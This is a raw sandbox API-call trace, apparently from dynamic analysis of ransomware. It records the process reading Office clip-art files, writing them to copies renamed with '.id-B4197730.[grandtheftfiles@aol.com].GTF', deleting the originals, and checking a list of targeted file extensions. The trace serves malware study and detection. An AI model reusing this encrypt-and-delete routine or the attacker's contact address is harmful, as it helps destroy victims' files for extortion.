	[0083.356] WriteFile (in: hFile=0x368, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x4ff0, lpOverlapped=0x0) returned 1
	[0083.357] ReadFile (in: hFile=0x310, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.357] WriteFile (in: hFile=0x368, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.358] SetEndOfFile (hFile=0x368) returned 1
	[0083.358] CloseHandle (hObject=0x368) returned 1
	[0083.359] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.359] SetEndOfFile (hFile=0x310) returned 1
	[0083.360] CloseHandle (hObject=0x310) returned 1
	[0083.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.361] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1
	[0083.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0083.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0083.361] lstrlenW (lpString=".doc") returned 4
	[0083.361] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0083.361] lstrlenW (lpString=".docx") returned 5
	[0083.361] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0083.361] lstrlenW (lpString=".pdf") returned 4
	[0083.361] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0083.361] lstrlenW (lpString=".xls") returned 4
	[0083.361] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0083.361] lstrlenW (lpString=".xlsx") returned 5
	[0083.361] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0083.361] lstrlenW (lpString=".ppt") returned 4
	[0083.361] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0083.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0083.361] lstrlenW (lpString=".zip") returned 4
	[0083.361] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0083.361] lstrlenW (lpString=".rar") returned 4
	[0083.361] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0083.361] lstrlenW (lpString=".bz2") returned 4
	[0083.361] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0083.361] lstrlenW (lpString=".7z") returned 3
	[0083.361] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0083.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0083.361] lstrlenW (lpString=".dbf") returned 4
	[0083.362] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0083.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0083.362] lstrlenW (lpString=".1cd") returned 4
	[0083.362] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0083.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0083.362] lstrlenW (lpString=".jpg") returned 4
	[0083.362] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0083.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0083.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0083.362] lstrlenW (lpString=".doc") returned 4
	[0083.362] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0083.362] lstrlenW (lpString=".docx") returned 5
	[0083.362] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0083.362] lstrlenW (lpString=".pdf") returned 4
	[0083.362] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0083.362] lstrlenW (lpString=".xls") returned 4
	[0083.362] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0083.362] lstrlenW (lpString=".xlsx") returned 5
	[0083.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0083.362] lstrlenW (lpString=".ppt") returned 4
	[0083.362] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0083.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0083.362] lstrlenW (lpString=".zip") returned 4
	[0083.362] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0083.362] lstrlenW (lpString=".rar") returned 4
	[0083.362] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0083.362] lstrlenW (lpString=".bz2") returned 4
	[0083.362] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0083.362] lstrlenW (lpString=".7z") returned 3
	[0083.362] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0083.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0083.362] lstrlenW (lpString=".dbf") returned 4
	[0083.362] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0083.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0083.363] lstrlenW (lpString=".1cd") returned 4
	[0083.363] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0083.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0083.363] lstrlenW (lpString=".jpg") returned 4
	[0083.363] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0083.363] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.363] lstrlenW (lpString="BL00130_.WMF") returned 12
	[0083.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.372] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1464) returned 1
	[0083.372] CloseHandle (hObject=0x36c) returned 1
	[0083.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x220
	[0083.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.372] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.372] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.375] GetLastError () returned 0x0
	[0083.375] ReadFile (in: hFile=0x36c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x5b8, lpOverlapped=0x0) returned 1
	[0083.377] WriteFile (in: hFile=0x370, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0083.378] ReadFile (in: hFile=0x36c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.378] WriteFile (in: hFile=0x370, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.379] SetEndOfFile (hFile=0x370) returned 1
	[0083.381] CloseHandle (hObject=0x370) returned 1
	[0083.384] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.384] SetEndOfFile (hFile=0x36c) returned 1
	[0083.391] CloseHandle (hObject=0x36c) returned 1
	[0083.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1
	[0083.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0083.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0083.396] lstrlenW (lpString=".doc") returned 4
	[0083.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.396] lstrlenW (lpString=".docx") returned 5
	[0083.396] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.396] lstrlenW (lpString=".pdf") returned 4
	[0083.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.396] lstrlenW (lpString=".xls") returned 4
	[0083.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.396] lstrlenW (lpString=".xlsx") returned 5
	[0083.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.396] lstrlenW (lpString=".ppt") returned 4
	[0083.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0083.396] lstrlenW (lpString=".zip") returned 4
	[0083.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.396] lstrlenW (lpString=".rar") returned 4
	[0083.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.396] lstrlenW (lpString=".bz2") returned 4
	[0083.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.396] lstrlenW (lpString=".7z") returned 3
	[0083.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0083.396] lstrlenW (lpString=".dbf") returned 4
	[0083.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0083.396] lstrlenW (lpString=".1cd") returned 4
	[0083.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0083.396] lstrlenW (lpString=".jpg") returned 4
	[0083.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0083.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0083.397] lstrlenW (lpString=".doc") returned 4
	[0083.397] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.397] lstrlenW (lpString=".docx") returned 5
	[0083.397] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.397] lstrlenW (lpString=".pdf") returned 4
	[0083.397] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.397] lstrlenW (lpString=".xls") returned 4
	[0083.397] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.397] lstrlenW (lpString=".xlsx") returned 5
	[0083.397] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.397] lstrlenW (lpString=".ppt") returned 4
	[0083.397] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0083.397] lstrlenW (lpString=".zip") returned 4
	[0083.397] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.397] lstrlenW (lpString=".rar") returned 4
	[0083.397] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.397] lstrlenW (lpString=".bz2") returned 4
	[0083.397] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.397] lstrlenW (lpString=".7z") returned 3
	[0083.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0083.397] lstrlenW (lpString=".dbf") returned 4
	[0083.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0083.397] lstrlenW (lpString=".1cd") returned 4
	[0083.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0083.397] lstrlenW (lpString=".jpg") returned 4
	[0083.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.398] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.398] lstrlenW (lpString="BL00195_.WMF") returned 12
	[0083.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.402] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=8070) returned 1
	[0083.402] CloseHandle (hObject=0x384) returned 1
	[0083.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x220
	[0083.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.402] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.402] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.404] GetLastError () returned 0x0
	[0083.404] ReadFile (in: hFile=0x384, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1f86, lpOverlapped=0x0) returned 1
	[0083.408] WriteFile (in: hFile=0x370, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1f90, lpOverlapped=0x0) returned 1
	[0083.408] ReadFile (in: hFile=0x384, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.409] WriteFile (in: hFile=0x370, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.409] SetEndOfFile (hFile=0x370) returned 1
	[0083.416] CloseHandle (hObject=0x370) returned 1
	[0083.418] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.418] SetEndOfFile (hFile=0x384) returned 1
	[0083.422] CloseHandle (hObject=0x384) returned 1
	[0083.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 1
	[0083.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0083.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0083.458] lstrlenW (lpString=".doc") returned 4
	[0083.458] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.458] lstrlenW (lpString=".docx") returned 5
	[0083.458] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.458] lstrlenW (lpString=".pdf") returned 4
	[0083.458] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.458] lstrlenW (lpString=".xls") returned 4
	[0083.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.458] lstrlenW (lpString=".xlsx") returned 5
	[0083.458] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.458] lstrlenW (lpString=".ppt") returned 4
	[0083.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0083.458] lstrlenW (lpString=".zip") returned 4
	[0083.458] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.458] lstrlenW (lpString=".rar") returned 4
	[0083.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.459] lstrlenW (lpString=".bz2") returned 4
	[0083.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.459] lstrlenW (lpString=".7z") returned 3
	[0083.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0083.459] lstrlenW (lpString=".dbf") returned 4
	[0083.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0083.459] lstrlenW (lpString=".1cd") returned 4
	[0083.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0083.459] lstrlenW (lpString=".jpg") returned 4
	[0083.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0083.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0083.459] lstrlenW (lpString=".doc") returned 4
	[0083.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.459] lstrlenW (lpString=".docx") returned 5
	[0083.459] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.459] lstrlenW (lpString=".pdf") returned 4
	[0083.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.459] lstrlenW (lpString=".xls") returned 4
	[0083.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.459] lstrlenW (lpString=".xlsx") returned 5
	[0083.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.459] lstrlenW (lpString=".ppt") returned 4
	[0083.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0083.460] lstrlenW (lpString=".zip") returned 4
	[0083.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.460] lstrlenW (lpString=".rar") returned 4
	[0083.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.460] lstrlenW (lpString=".bz2") returned 4
	[0083.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.460] lstrlenW (lpString=".7z") returned 3
	[0083.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0083.460] lstrlenW (lpString=".dbf") returned 4
	[0083.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0083.460] lstrlenW (lpString=".1cd") returned 4
	[0083.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0083.460] lstrlenW (lpString=".jpg") returned 4
	[0083.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.461] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.461] lstrlenW (lpString="BL00247_.WMF") returned 12
	[0083.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.461] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=14444) returned 1
	[0083.461] CloseHandle (hObject=0x384) returned 1
	[0083.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x220
	[0083.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.462] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.463] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0083.465] GetLastError () returned 0x0
